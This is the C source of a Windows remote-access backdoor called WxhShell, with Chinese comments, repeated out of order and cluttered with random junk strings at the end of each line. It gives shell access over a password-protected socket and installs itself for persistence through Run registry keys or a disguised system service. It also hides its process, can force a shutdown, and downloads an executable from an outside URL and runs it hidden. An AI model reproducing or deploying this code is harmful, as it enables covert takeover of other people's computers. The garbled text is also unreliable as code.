    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =@m &s^R  
    else { /,89p&h  
    closesocket(wsh); 1%EBd%`#  
    ExitThread(0); xe#FUS 3  
    } yyoqX"v[  
    break; nc~F_i=  
    } s:OFVlC%\  
  // 获取shell 1/RsptN"v  
  case 's': { 5A%w 8Qv  
    CmdShell(wsh); b1^vd@(lx  
    closesocket(wsh); yL%K4$z  
    ExitThread(0); y-T| #  
    break; ^M3~^lV  
  } )` SE S."  
  // 退出 !Nu<xq@!  
  case 'x': { ?p9VO.^5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fdxLAC  
    CloseIt(wsh); _p# CwExuy  
    break; ;o^eC!:/%  
    } 2VF%@p  
  // 离开 Fgkajig  
  case 'q': { [OjF[1I)u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?5U2D%t  
    closesocket(wsh);  +EFgE1w  
    WSACleanup(); g'p K  
    exit(1); +1Vjw'P  
    break; 1q~+E\x  
        } 0]>u )%  
  } +!k&Yje  
  } H9KKed47d/  
N8!cO[3Oh  
  // 提示信息 {s)+R[?m<o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %u`8minCt  
} J1/?JfF  
  } BHd&yIyI  
k ]W[`  
  return; GT~)nC9f  
} ZtV9&rd7  
]Oh@,V8  
// shell模块句柄 <p}R~zk  
int CmdShell(SOCKET sock) M^MdRu  
{ l*ayd>`~x  
STARTUPINFO si; 4oK?-|=?  
ZeroMemory(&si,sizeof(si)); .clP#r{U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h "Xg;(K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g+DzscIT  
PROCESS_INFORMATION ProcessInfo; _6_IP0;  
char cmdline[]="cmd"; T#M,~lD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kv8Fko  
  return 0; DamC F  
} WzAb|&?  
JCz@s~f\y  
// 自身启动模式 F ;{n"3<  
int StartFromService(void) .EpV;xq}  
{ Cnnh7`  
typedef struct ^:6{22C{  
{ WxW7qt  
  DWORD ExitStatus; ~;Ov-^tp  
  DWORD PebBaseAddress; 3Th'paMG  
  DWORD AffinityMask; @WJg WJm  
  DWORD BasePriority; /nyUG^5#{  
  ULONG UniqueProcessId; 4S,`bnmB  
  ULONG InheritedFromUniqueProcessId; ^cV;~&|.Xk  
}   PROCESS_BASIC_INFORMATION; $>*3/H  
_Bj)r}~7#  
PROCNTQSIP NtQueryInformationProcess; `o<' x.I  
=2[7 E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _=+V/=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,pqGX3  
`%CtWJ(e  
  HANDLE             hProcess; '=[?~0(B  
  PROCESS_BASIC_INFORMATION pbi; 4?0vso*X<:  
">~.$Jp_4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4/mig0"N.  
  if(NULL == hInst ) return 0; >^%7@i:@U  
0%,!jW{`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pV.Av  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nqw&< x+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >fe- d#!{  
umD!2 w  
  if (!NtQueryInformationProcess) return 0; `n$I]_}/%  
:/y1yM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z."a.>fPaO  
  if(!hProcess) return 0; 9U{a{~b  
ki[UV zd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pcau}5 .  
!g Z67  
  CloseHandle(hProcess); thV>j9'  
RMX:9aQ3F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6;C3RU]  
if(hProcess==NULL) return 0; :q=%1~Idla  
1v,Us5s<"6  
HMODULE hMod; szsk;a  
char procName[255]; 7#@cz5Su  
unsigned long cbNeeded; S?RN?1  
cj+ FRG~u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i%ZW3MrY~  
5V5%/FU m  
  CloseHandle(hProcess); u1t% (_h  
$SM# < @  
if(strstr(procName,"services")) return 1; // 以服务启动 $tz;<M7B  
)_{dWf1  
  return 0; // 注册表启动 ulu9'ch  
} /E Bo3`  
7w 37S  
// 主模块 f:ZAG4B  
int StartWxhshell(LPSTR lpCmdLine) GN-mrQo  
{ fNb`X  
  SOCKET wsl; ,$;yY)x7U  
BOOL val=TRUE; , FhekaA  
  int port=0; '6Ay&A3N]  
  struct sockaddr_in door; {S,l_d+(  
.7i` (F)  
  if(wscfg.ws_autoins) Install(); u`y><w4i  
J\d3N7_d  
port=atoi(lpCmdLine); %FXfqF9  
ObLly%|i  
if(port<=0) port=wscfg.ws_port; I"Ms-zs  
r)Ap8?+  
  WSADATA data; V2$h8\a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CLeG<Hi ~  
1&^MfP}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d@ Y}SWTB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]04 e1F1J  
  door.sin_family = AF_INET; QA2borfy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j{Hao\F8  
  door.sin_port = htons(port); oo.!.Kv  
_cy2z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,Vh.T&X5  
closesocket(wsl); bA\<.d  
return 1; YGv<VOWG2  
} <,3^|$c%  
Swp;HW7x  
  if(listen(wsl,2) == INVALID_SOCKET) { |AcRIq  
closesocket(wsl); fRy^Q_~,  
return 1; -:30:oq  
} ~n[xtWO0  
  Wxhshell(wsl); ox:[f9.5  
  WSACleanup(); G2t;DN(  
*NkA8PC  
return 0; 'rMN=1:iu"  
M&N B/  
} A;/-u<f  
f8M$45A'  
// 以NT服务方式启动 p!sWYui  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `!D s6  
{ CamE'  
DWORD   status = 0; 1QmH{jM  
  DWORD   specificError = 0xfffffff; T.Ryy"%F  
U>V&-kxtV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >=UF-xk;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w=LP"bqlI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _^el\  
  serviceStatus.dwWin32ExitCode     = 0; 0$7s^?G0  
  serviceStatus.dwServiceSpecificExitCode = 0; }-~X4u#   
  serviceStatus.dwCheckPoint       = 0; F;gx%[$GX  
  serviceStatus.dwWaitHint       = 0; cgl*t+o&  
3pK*~VK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZKQG:M~|  
  if (hServiceStatusHandle==0) return; e =4+$d  
d+X}cq=  
status = GetLastError(); jy giG&H  
  if (status!=NO_ERROR) h~(G$':^  
{ ]wKzE4Z/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "I=\[l8t  
    serviceStatus.dwCheckPoint       = 0; t5'V6nv  
    serviceStatus.dwWaitHint       = 0; Nluv/?<  
    serviceStatus.dwWin32ExitCode     = status; Pcu#lWC$  
    serviceStatus.dwServiceSpecificExitCode = specificError; $aN-Y?U%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N@Y ljz|  
    return; )RO<o O  
  } ~4s'0 w^  
KN t t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n| b5? 3  
  serviceStatus.dwCheckPoint       = 0; ,y+$cM(  
  serviceStatus.dwWaitHint       = 0; :JfE QIN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DXa=|T  
} 0 ;b[QRmy  
b&=5m  
// 处理NT服务事件,比如:启动、停止 wk6NG/<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;9~6_@,@o  
{ yU8{i&w4  
switch(fdwControl) IkrF/$r  
{ hGbj0   
case SERVICE_CONTROL_STOP: >. '<J]  
  serviceStatus.dwWin32ExitCode = 0; \MjJ9u `8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NPd%M  
  serviceStatus.dwCheckPoint   = 0; =JKv:</.G  
  serviceStatus.dwWaitHint     = 0; mt5KbA>nU  
  { /9zE^YcT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V5GW:QT  
  } Ma8_:7`>O  
  return; rg{9UVj  
case SERVICE_CONTROL_PAUSE: %H]lGN)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [8Qro8  
  break; TQ{Han!  
case SERVICE_CONTROL_CONTINUE: }|5 V RJA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -T&.kYqnb$  
  break; e.@uhB.  
case SERVICE_CONTROL_INTERROGATE: `.T}=j|  
  break; >m# e:[N  
}; }';D]c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m=:4`_0Q  
} ukvtQz)  
/}Lt,9  
// 标准应用程序主函数 UK1_0tp]x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /DqLrA  
{ 4#5:~M }  
w.lAQ5)I%\  
// 获取操作系统版本 =xNv\e  
OsIsNt=GetOsVer(); /Nr*`l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E@-KGsdhK  
0H0-U'l  
  // 从命令行安装 Gg~QAsks   
  if(strpbrk(lpCmdLine,"iI")) Install(); >[ Ye  
sf]s",t~J  
  // 下载执行文件 \EKU*5\Hp>  
if(wscfg.ws_downexe) { CBDG./  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c-g)eV|)S  
  WinExec(wscfg.ws_filenam,SW_HIDE); @FC"nM  
} ' j6gG  
FJ %  
if(!OsIsNt) { _>=L>*  
// 如果时win9x,隐藏进程并且设置为注册表启动 f{"8g"[[)(  
HideProc(); 'Fs)Rx}\0  
StartWxhshell(lpCmdLine); KAsS [  
} *1 G>YH  
else p_UlK8rb  
  if(StartFromService()) = <j"M85.  
  // 以服务方式启动 N gLU$/y;  
  StartServiceCtrlDispatcher(DispatchTable); _=q! BW  
else wtT}V=_  
  // 普通方式启动 &z]K\-xp  
  StartWxhshell(lpCmdLine); lip[n;Ir>  
8[|UgI,>z  
return 0; 4n %?YQ[t  
} kKPi:G52F  
W`"uu.~f  
+uBLk0/)>  
2_ :n  
===========================================  P\]B<  
fZxIY,  
n.sbr  
fM #7y [  
UG'bOF4  
Wm H~m k"  
" F  q!fWl  
y!5$/`AF  
#include <stdio.h> (ewe"N+  
#include <string.h> kPQtQh]y%  
#include <windows.h> }U SC1J  
#include <winsock2.h> aA'|Rg,  
#include <winsvc.h> Oky**B[D'  
#include <urlmon.h> FSRm|  
u7xDau(c  
#pragma comment (lib, "Ws2_32.lib") ? tfT8$  
#pragma comment (lib, "urlmon.lib") cgb2K$B_"  
i 9g>9  
#define MAX_USER   100 // 最大客户端连接数 _;4 [Q1  
#define BUF_SOCK   200 // sock buffer n39t}`WIl  
#define KEY_BUFF   255 // 输入 buffer .TE?KI   
R/^u/~<  
#define REBOOT     0   // 重启 `+t.!tv!  
#define SHUTDOWN   1   // 关机 l~D N1z6`  
>6oOZbUY0  
#define DEF_PORT   5000 // 监听端口 |A%<Z(  
:QWq"cBem  
#define REG_LEN     16   // 注册表键长度 :K ~  
#define SVC_LEN     80   // NT服务名长度 H33i*][H  
Ne $"g[uFU  
// 从dll定义API ?=VOD#)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p~.8\bI=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hoT/KWD,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .))v0   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +525{Tj  
@Kf_z5tm:  
// wxhshell配置信息 hLDA]s  
struct WSCFG { XyMG.r-,  
  int ws_port;         // 监听端口 x!_<z''  
  char ws_passstr[REG_LEN]; // 口令 4lqH8l.  
  int ws_autoins;       // 安装标记, 1=yes 0=no  6l$L~>  
  char ws_regname[REG_LEN]; // 注册表键名 lCF `*DM#  
  char ws_svcname[REG_LEN]; // 服务名 `xiCm':  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \m=?xb8 f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~2d:Q6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .[u> V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g~BoFc.V2~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c8Q]!p+Yp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cEe? *\G  
*cTO7$\[  
}; 8 4i_k  
3+J0!FVla  
// default Wxhshell configuration v|ox!0:#  
struct WSCFG wscfg={DEF_PORT, ;f,c't@w  
    "xuhuanlingzhe", _5MNMV LwW  
    1, \v6 M:KR5/  
    "Wxhshell", l%Gw_0.?e  
    "Wxhshell", AF43$6KZP$  
            "WxhShell Service", ubu?S%`  
    "Wrsky Windows CmdShell Service", &TG5rUUg  
    "Please Input Your Password: ", z4@k$ L8  
  1, BZb]SoAL  
  "http://www.wrsky.com/wxhshell.exe", n,~;x@=5  
  "Wxhshell.exe" !GW ,\y  
    }; aZKOY  
+,50q N:%[  
// 消息定义模块 {B*W\[ns  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0F#>CmD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?EU\}N J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; * MM[u75  
char *msg_ws_ext="\n\rExit."; }X;U|]d  
char *msg_ws_end="\n\rQuit."; qn"D#K'&(  
char *msg_ws_boot="\n\rReboot..."; tn|,O.t  
char *msg_ws_poff="\n\rShutdown..."; iqhOi|!  
char *msg_ws_down="\n\rSave to "; G5D2oQa=8  
CK_(b"  
char *msg_ws_err="\n\rErr!"; * n(> ^  
char *msg_ws_ok="\n\rOK!"; pium$4l2#  
y[O-pD`  
char ExeFile[MAX_PATH]; +pH@oFNK  
int nUser = 0; \Hqc 9&0  
HANDLE handles[MAX_USER]; n:U>Fj>q  
int OsIsNt; 0Q593F  
DWt*jX*  
SERVICE_STATUS       serviceStatus; 4$,,Ppn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @c'|Iqy`  
.bf<<+'o  
// 函数声明 `>D9P_Y"jI  
int Install(void); 5FC4@Ms`  
int Uninstall(void); *m+5Pr`7  
int DownloadFile(char *sURL, SOCKET wsh); U,1AfzlF  
int Boot(int flag); /,5Z-Z*wq  
void HideProc(void); Je4Z(kj 0  
int GetOsVer(void); ^*R(!P^  
int Wxhshell(SOCKET wsl); 9umGIQHnil  
void TalkWithClient(void *cs); >EXb|vw   
int CmdShell(SOCKET sock); v&g0ta@  
int StartFromService(void); -~)OF  
int StartWxhshell(LPSTR lpCmdLine); +Ra3bjl  
L;W.pe0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ql5x2n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OMihXt[  
Uz%Z&K  
// 数据结构和表定义 $R8w+ Id  
SERVICE_TABLE_ENTRY DispatchTable[] = ^TXfsQs  
{ Swtbl`,  
{wscfg.ws_svcname, NTServiceMain}, :9l51oE7  
{NULL, NULL} \g-j9|0  
}; ,`td@Y  
g"Q h]:  
// 自我安装 5;)*T6Y  
int Install(void) %'L;FPxB  
{ AF4?IH  
  char svExeFile[MAX_PATH]; A1cb"N^  
  HKEY key; =QV ::/  
  strcpy(svExeFile,ExeFile); 1'6cGpZY  
+c206.  
// 如果是win9x系统,修改注册表设为自启动 6S?x D5 (  
if(!OsIsNt) { OySy6IN]q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _-cK{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m:`@?n~..  
  RegCloseKey(key); K&A;Z>l,v5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 77gysd\(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xPmN},i'R$  
  RegCloseKey(key); BOf1J1  
  return 0; F.q|x|9j  
    } t~K%.|'0  
  } #~?kYCtC)  
}  eIPG#A  
else { ~@I@}n  
p4X{"Z\mn  
// 如果是NT以上系统,安装为系统服务 =G-N` 39  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6k])KlJ2;  
if (schSCManager!=0) 4ax|Vb)D  
{ T bE:||r?^  
  SC_HANDLE schService = CreateService lx,`hl%  
  ( F=@i6ERi  
  schSCManager, `?s.\Dh  
  wscfg.ws_svcname, d<o.o?Vc  
  wscfg.ws_svcdisp, ;5|1M8]=0  
  SERVICE_ALL_ACCESS, Sm3u/w!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #j@OLvXh  
  SERVICE_AUTO_START, Yq'4e[i  
  SERVICE_ERROR_NORMAL, {^q)^<#JT  
  svExeFile, Q]JX`HgPaU  
  NULL, B(HT.%r^A  
  NULL, p5 ]_}I`+2  
  NULL, BQgoVnQo_c  
  NULL, oJ;rc{n-  
  NULL "/x_>ui1F  
  ); whc[@Tyx  
  if (schService!=0) x%BF {Sw  
  { T|'&K:[TJ  
  CloseServiceHandle(schService); l\q} |o  
  CloseServiceHandle(schSCManager); )c tr"&-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k{Lv37H  
  strcat(svExeFile,wscfg.ws_svcname); Wr|G:(kw\!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HD# r0)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZykrQ\q9  
  RegCloseKey(key); z[!x:# q8`  
  return 0; 18!VO4u\I  
    } )Id2GV~2B  
  } E)YVfM  
  CloseServiceHandle(schSCManager); !G=>ve  
} o<VP'F{p  
} !Rw&DFU  
8:g!w:$x  
return 1; 6* rcR]  
} )&1!xF   
RR25Q. c  
// 自我卸载 r4k nN 2:  
int Uninstall(void) f{Qp  
{ ]W9B6G_  
  HKEY key; 9R]](g#  
r?p{L F  
if(!OsIsNt) { juno.$ 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ubGs/Vzye  
  RegDeleteValue(key,wscfg.ws_regname); LM,fwAX  
  RegCloseKey(key); $B _Nc*_e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SPwPCI1?  
  RegDeleteValue(key,wscfg.ws_regname); 6$ e]i|e  
  RegCloseKey(key); (r F?If  
  return 0; d /j@_3'  
  } 8 $ ~3ra  
} jUY+3"?   
} ( tn< VK.  
else { 3VP$x@AV  
J|j;g!fK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M<oA<#IW  
if (schSCManager!=0) xdF guV8  
{ |`]oc,1h@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O~'FR[J  
  if (schService!=0) {\We72!  
  { !t-K<'  
  if(DeleteService(schService)!=0) { yq*JdTF  
  CloseServiceHandle(schService); fi=?n{e'  
  CloseServiceHandle(schSCManager); H-&3}   
  return 0; <aVfJd/fT  
  } k=uZ=tUft*  
  CloseServiceHandle(schService); sv=^k(d3  
  } WN0c %kz=  
  CloseServiceHandle(schSCManager); P4%>k6X  
} f-+.;`H)T  
} ;X7i/D Q  
Yo'K pdn  
return 1; (T;9us0  
} T&/_e   
nLd~2qBuv  
// 从指定url下载文件 &z ksRX  
int DownloadFile(char *sURL, SOCKET wsh) NV~vuC  
{ Zz")`hUG  
  HRESULT hr; tp+=0k2i  
char seps[]= "/"; <IH*\q:7  
char *token; )0|):g   
char *file; pTET%)3  
char myURL[MAX_PATH]; Wm>b3:  
char myFILE[MAX_PATH]; BTs0o&}e  
"_)|8|gN  
strcpy(myURL,sURL); #JS`e_3Rr  
  token=strtok(myURL,seps); SsRVd^=;x  
  while(token!=NULL) *<dHqK`?C  
  { u+DX$#-n!]  
    file=token; j |td,82.  
  token=strtok(NULL,seps); 5&(3A|P2  
  } \3j)>u,r  
3U o]> BG  
GetCurrentDirectory(MAX_PATH,myFILE); jZ#UUnR%  
strcat(myFILE, "\\"); (6-y+ LG  
strcat(myFILE, file); H5p5S\g-)  
  send(wsh,myFILE,strlen(myFILE),0); <ge}9pU)o^  
send(wsh,"...",3,0); 7vNtv9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }} #be  
  if(hr==S_OK) dJE`9$jN  
return 0; %yhI;M^  
else >;}]pI0T  
return 1; |D(&w+(  
*[ #*n n  
} ^Y<M~K972  
?%;B`2 nDR  
// 系统电源模块 cuMc*i$w!  
int Boot(int flag) &CO| Y(+  
{ }{=8&gA0  
  HANDLE hToken; /&QQ p3  
  TOKEN_PRIVILEGES tkp; x _|>n<Z  
oek #^:pF  
  if(OsIsNt) { x/_dW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oVEAlBm^v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < 4$YO-:E  
    tkp.PrivilegeCount = 1; X#7}c5^Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PvuAg(?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D+hB[*7Fs  
if(flag==REBOOT) { 4L11P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wO!% q[  
  return 0; >F|qb*Tm7  
} d/4ubf+$k  
else { )^(P@D.L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6d};|#}  
  return 0; k%!VP=c4s  
} v*XkWH5  
  } uZ<%kV1B  
  else { , | <jjq)  
if(flag==REBOOT) { -[<vYxX:h:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K+-zY[3  
  return 0; N+hedF@ZU  
} *LEu=3lp%>  
else { bkkSIl+Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *bU% @O  
  return 0; ik1XGFy?  
} ?4MSgu  
} HoV{Uzm  
ysl8LK   
return 1; i.F8  
} ]qMH=>pOsj  
)*Vj3Jx  
// win9x进程隐藏模块 Tfr`?:yF  
void HideProc(void) \d ui`F"Cc  
{ {sl~2#,}b1  
bu_/R~&3{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YV4 : 8At1  
  if ( hKernel != NULL ) *afejjW[  
  { A ^-Z)0 :  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yW{mK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *b:u * `@  
    FreeLibrary(hKernel); e$H|MdYIA  
  } q _19&;&  
Yu1QcFuy  
return; cNx \&vpd  
} i<J^:7  
<3)|44.o&  
// 获取操作系统版本 sD2*x T  
int GetOsVer(void) :wSJ-\'$  
{ x<Iy<v7-  
  OSVERSIONINFO winfo; An/>0 5|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9}.,2JE  
  GetVersionEx(&winfo); j6RJC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lblet  
  return 1; J-b~4  
  else %l%=Dkss  
  return 0; 6W]OpM  
} QN3 qF|))  
\)p4okpR  
// 客户端句柄模块 ^4RO  
int Wxhshell(SOCKET wsl) :a=ro2NH  
{ N/(ofy  
  SOCKET wsh; Z(l9>A7!  
  struct sockaddr_in client; %Fs*#S  
  DWORD myID; K?$ 9N}+  
a^%8QJW  
  while(nUser<MAX_USER) ^dheJ]n=k  
{ #dHr&1(  
  int nSize=sizeof(client); h\/^Aa0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \moZ6J  
  if(wsh==INVALID_SOCKET) return 1; !p-'t]  
~wa%fM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p .lu4  
if(handles[nUser]==0) qK{| Q  
  closesocket(wsh); ;_>s0rUV  
else b=V)?"e-  
  nUser++; CM`x>J  
  } RA#\x.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K3a>^g  
L-`(!j  
  return 0; Q -M rH   
} qw9e) `3$  
9)ACgz&(  
// 关闭 socket aIQrb  
void CloseIt(SOCKET wsh) N-]\oMc2  
{ X@i+&Nv"<  
closesocket(wsh); rat=)n)"t  
nUser--; T_3V/)%@  
ExitThread(0); }P05eI  
} 5wT' ,U"+  
l0eANB%Y=@  
// 客户端请求句柄 b$;HI7)/K  
void TalkWithClient(void *cs) j7QBU  
{ ;%v%K+}r  
9vB9k@9  
  SOCKET wsh=(SOCKET)cs; m]bL)]Z  
  char pwd[SVC_LEN]; dVasm<lZ  
  char cmd[KEY_BUFF]; '~ jy  
char chr[1]; .a ~s_E  
int i,j; 2q2p=H>&  
ju8',ZC  
  while (nUser < MAX_USER) { #k"1wSx16  
516VQ<?B  
if(wscfg.ws_passstr) { (k7;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~+sne7 6 U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U;x99Go:  
  //ZeroMemory(pwd,KEY_BUFF); Z)C:]}Ex  
      i=0; HY*l4QK  
  while(i<SVC_LEN) { *=($r%)  
~5-~q0Ge  
  // 设置超时 SS >:Sw  
  fd_set FdRead; h<PYE]?l  
  struct timeval TimeOut; *O2^{ C  
  FD_ZERO(&FdRead); 4U}.Skzq  
  FD_SET(wsh,&FdRead); cRs{=RGc  
  TimeOut.tv_sec=8; c.|sW2/  
  TimeOut.tv_usec=0; 'e+-,CGdY\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {LR#(q$1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6|Ba  
U)&H.^@r$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $M:4\E5(  
  pwd=chr[0]; [V!^\g\6  
  if(chr[0]==0xd || chr[0]==0xa) { )_Z]=5Ds  
  pwd=0; BsoFQw4$9  
  break; + TPbIRA  
  } >WGX|"!"  
  i++; 'US:Mr3  
    } aRFi0h \  
ucIVVT(u  
  // 如果是非法用户,关闭 socket ;g;,%jdCS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4<=eK7;XR  
} eukX#0/^  
z6GL,wo#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mafAC73  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {|8:U}<#h  
5Ws:Ei{R  
while(1) { avYh\xZ  
n?TO!5RZK  
  ZeroMemory(cmd,KEY_BUFF); ;XD>$t@  
IqR[&T)lj  
      // 自动支持客户端 telnet标准   O3sla bE#  
  j=0; xEd#~`Jmr  
  while(j<KEY_BUFF) { mI{CM: :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .#:@cP~v  
  cmd[j]=chr[0]; Zq2H9^![y~  
  if(chr[0]==0xa || chr[0]==0xd) { g7E`;&f  
  cmd[j]=0; ONg<  
  break; >tE,8  
  } E-*>f"<h  
  j++; *g/I&'^  
    } 1Ud t9$~T  
YyX^lL_  
  // 下载文件 f_z2#,g  
  if(strstr(cmd,"http://")) { [A.eVuV;+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rx_,J%0Fq  
  if(DownloadFile(cmd,wsh)) !VJT"Ds_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ss|6_H =  
  else ThT.iD[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m%BMd  
  } |zr)hC  
  else { _S%OX_UMn^  
\k$]GK-  
    switch(cmd[0]) { .PA ?N{z  
  !'6J;Fb#  
  // 帮助 t&p:vXF2  
  case '?': { $yR{ZFo  
